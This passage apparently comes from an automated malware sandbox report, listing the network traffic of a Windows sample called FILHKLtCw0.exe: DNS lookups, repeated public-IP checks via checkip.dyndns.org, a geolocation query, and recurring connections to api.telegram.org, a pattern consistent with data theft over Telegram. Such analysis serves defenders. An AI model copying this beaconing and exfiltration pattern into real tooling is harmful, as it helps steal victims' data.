Jan 10, 2025 20:24:17.056659937 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.056715965 CET	443	59248	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:17.056859016 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.057089090 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.057115078 CET	443	59248	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:17.109673023 CET	59247	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:17.666660070 CET	443	59248	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:17.719152927 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.722853899 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.722865105 CET	443	59248	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:17.722995043 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.723001003 CET	443	59248	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:17.898411036 CET	443	59248	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:17.898488998 CET	443	59248	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:17.898627996 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.903084993 CET	59248	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:17.919135094 CET	59247	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:17.924078941 CET	80	59247	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:17.924186945 CET	59247	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:17.953655958 CET	59249	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:17.958435059 CET	80	59249	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:17.958530903 CET	59249	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:17.958719969 CET	59249	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:17.963510990 CET	80	59249	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:18.601851940 CET	80	59249	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:18.603213072 CET	59250	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:18.603260994 CET	443	59250	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:18.603406906 CET	59250	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:18.603634119 CET	59250	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:18.603645086 CET	443	59250	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:18.656646013 CET	59249	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:19.235737085 CET	443	59250	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:19.237515926 CET	59250	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:19.237528086 CET	443	59250	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:19.237586975 CET	59250	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:19.237593889 CET	443	59250	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:19.416161060 CET	443	59250	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:19.416254044 CET	443	59250	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:19.416311979 CET	59250	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:19.416851044 CET	59250	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:19.420331955 CET	59249	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:19.421227932 CET	59251	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:19.425364971 CET	80	59249	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:19.425425053 CET	59249	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:19.426022053 CET	80	59251	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:19.426080942 CET	59251	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:19.426176071 CET	59251	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:19.430898905 CET	80	59251	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:20.943557978 CET	80	59251	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:20.944905996 CET	59252	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:20.944941998 CET	443	59252	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:20.945003986 CET	59252	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:20.945369959 CET	59252	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:20.945382118 CET	443	59252	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:20.984673023 CET	59251	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:21.558640957 CET	443	59252	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:21.560440063 CET	59252	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:21.560460091 CET	443	59252	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:21.560519934 CET	59252	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:21.560530901 CET	443	59252	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:21.746572971 CET	443	59252	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:21.746650934 CET	443	59252	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:21.746725082 CET	59252	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:21.747239113 CET	59252	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:21.750993967 CET	59251	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:21.752263069 CET	59253	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:21.756077051 CET	80	59251	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:21.756148100 CET	59251	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:21.757092953 CET	80	59253	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:21.757165909 CET	59253	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:21.757296085 CET	59253	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:21.762058020 CET	80	59253	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:22.398592949 CET	80	59253	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:22.399981022 CET	59254	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:22.400048018 CET	443	59254	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:22.400120974 CET	59254	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:22.400408983 CET	59254	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:22.400430918 CET	443	59254	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:22.453470945 CET	59253	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:23.028553009 CET	443	59254	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:23.044106007 CET	59254	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:23.044117928 CET	443	59254	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:23.044162035 CET	59254	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:23.044171095 CET	443	59254	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:23.224107981 CET	443	59254	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:23.224317074 CET	443	59254	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:23.224402905 CET	59254	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:23.226120949 CET	59254	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:23.293311119 CET	59253	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:23.296190023 CET	59255	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:23.298713923 CET	80	59253	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:23.298777103 CET	59253	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:23.301103115 CET	80	59255	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:23.301175117 CET	59255	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:23.301420927 CET	59255	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:23.306226015 CET	80	59255	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:23.927546024 CET	80	59255	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:23.929364920 CET	59256	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:23.929416895 CET	443	59256	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:23.929488897 CET	59256	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:23.929933071 CET	59256	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:23.929944992 CET	443	59256	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:23.969058037 CET	59255	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:24.562628031 CET	443	59256	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:24.565634012 CET	59256	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:24.565648079 CET	443	59256	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:24.565711021 CET	59256	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:24.565717936 CET	443	59256	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:24.812788010 CET	443	59256	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:24.812856913 CET	443	59256	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:24.813585997 CET	59256	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:24.816179037 CET	59256	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:24.820483923 CET	59255	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:24.821501970 CET	59257	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:24.825454950 CET	80	59255	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:24.825524092 CET	59255	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:24.826370001 CET	80	59257	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:24.826508999 CET	59257	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:24.826559067 CET	59257	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:24.831331015 CET	80	59257	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:25.472788095 CET	80	59257	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:25.474172115 CET	59258	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:25.474210978 CET	443	59258	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:25.474293947 CET	59258	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:25.474608898 CET	59258	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:25.474625111 CET	443	59258	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:25.516109943 CET	59257	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:26.099781990 CET	443	59258	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:26.101670027 CET	59258	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:26.101701021 CET	443	59258	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:26.101783037 CET	59258	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:26.101788998 CET	443	59258	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:26.278769016 CET	443	59258	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:26.278846025 CET	443	59258	149.154.167.220	192.168.2.5
Jan 10, 2025 20:24:26.278907061 CET	59258	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:28.892443895 CET	59258	443	192.168.2.5	149.154.167.220
Jan 10, 2025 20:24:28.895052910 CET	59257	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:28.895467997 CET	59259	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:28.900197029 CET	80	59257	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:28.900268078 CET	59257	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:28.900352955 CET	80	59259	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:28.900492907 CET	59259	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:28.900492907 CET	59259	80	192.168.2.5	193.122.6.168
Jan 10, 2025 20:24:28.905325890 CET	80	59259	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:29.556304932 CET	80	59259	193.122.6.168	192.168.2.5
Jan 10, 2025 20:24:29.609755039 CET	59259	80	192.168.2.5	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:22:40.244961977 CET	53	59815	1.1.1.1	192.168.2.5
Jan 10, 2025 20:22:40.709976912 CET	53	53204	1.1.1.1	192.168.2.5
Jan 10, 2025 20:23:55.158039093 CET	55457	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:23:55.164729118 CET	53	55457	1.1.1.1	192.168.2.5
Jan 10, 2025 20:23:56.236675978 CET	54151	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:23:56.243846893 CET	53	54151	1.1.1.1	192.168.2.5
Jan 10, 2025 20:24:00.544954062 CET	54817	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:24:00.551928043 CET	53	54817	1.1.1.1	192.168.2.5
Jan 10, 2025 20:24:02.725830078 CET	56352	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:24:02.733406067 CET	53	56352	1.1.1.1	192.168.2.5
Jan 10, 2025 20:24:09.742088079 CET	54136	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:24:09.749572992 CET	53	54136	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:23:55.158039093 CET	192.168.2.5	1.1.1.1	0xbe4a	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:23:56.236675978 CET	192.168.2.5	1.1.1.1	0xfbd6	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:00.544954062 CET	192.168.2.5	1.1.1.1	0x9e4f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.725830078 CET	192.168.2.5	1.1.1.1	0xdc86	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:09.742088079 CET	192.168.2.5	1.1.1.1	0xd75f	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:23:55.164729118 CET	1.1.1.1	192.168.2.5	0xbe4a	No error (0)	drive.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:23:56.243846893 CET	1.1.1.1	192.168.2.5	0xfbd6	No error (0)	drive.usercontent.google.com		142.250.185.193	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:00.551928043 CET	1.1.1.1	192.168.2.5	0x9e4f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:24:00.551928043 CET	1.1.1.1	192.168.2.5	0x9e4f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:00.551928043 CET	1.1.1.1	192.168.2.5	0x9e4f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:00.551928043 CET	1.1.1.1	192.168.2.5	0x9e4f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:00.551928043 CET	1.1.1.1	192.168.2.5	0x9e4f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:00.551928043 CET	1.1.1.1	192.168.2.5	0x9e4f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.733406067 CET	1.1.1.1	192.168.2.5	0xdc86	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.733406067 CET	1.1.1.1	192.168.2.5	0xdc86	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.733406067 CET	1.1.1.1	192.168.2.5	0xdc86	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.733406067 CET	1.1.1.1	192.168.2.5	0xdc86	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.733406067 CET	1.1.1.1	192.168.2.5	0xdc86	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.733406067 CET	1.1.1.1	192.168.2.5	0xdc86	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:02.733406067 CET	1.1.1.1	192.168.2.5	0xdc86	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:24:09.749572992 CET	1.1.1.1	192.168.2.5	0xd75f	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	59242	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:00.562228918 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:24:02.238684893 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 20:24:02.243115902 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 20:24:02.473367929 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 20:24:09.527010918 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 20:24:09.738154888 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	59245	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:10.898528099 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 20:24:13.667979956 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	59247	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:14.680499077 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:24:17.055259943 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	59249	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:17.958719969 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:24:18.601851940 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	59251	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:19.426176071 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:24:20.943557978 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	59253	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:21.757296085 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:24:22.398592949 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	59255	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:23.301420927 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 20:24:23.927546024 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:24:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	59257	193.122.6.168	80	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:24:24.826559067 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
